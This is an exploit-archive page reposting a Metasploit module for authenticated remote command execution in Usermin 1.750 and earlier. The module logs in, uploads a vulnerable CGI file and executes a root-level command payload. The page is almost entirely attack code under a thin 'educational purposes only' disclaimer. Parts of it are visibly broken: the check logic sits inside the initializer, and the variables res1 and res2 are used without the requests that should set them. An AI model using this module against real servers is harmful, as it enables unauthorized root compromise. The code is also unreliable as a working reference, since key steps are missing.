Exploits / Vulnerability Discovered : 2019-02-28 |
Type : webapps |
Platform : linux
This exploit / vulnerability Usermin 1.750 remote command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Usermin 1.750 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Usermin
1.750 and lower versions. This vulnerability has the same characteristics as the Webmin 1.900 RCE(EDB-46201).
Any user authorized to the "Java file manager" and "Upload and Download" fields, to execute arbitrary commands with root privileges.
Usermin is the most shared interface with users, so the vulnerability is dangerous.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable ".cgi" file can be printed on the original files of the Usermin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to Usermin application should be used.
The module has been tested successfully with Usermin 1.750 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Usermin-1750-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Usermin <= 1.750', { }]],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0))
data = "user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "redirect=1; testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /usid/
vprint_good "Login successful"
session = res.get_cookies.split("usid=")[1].split(";")[0]
print_status("#{session}")
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "redirect=1; testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /usid/
session = res.get_cookies.scan(/usid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+usermin/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end
if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end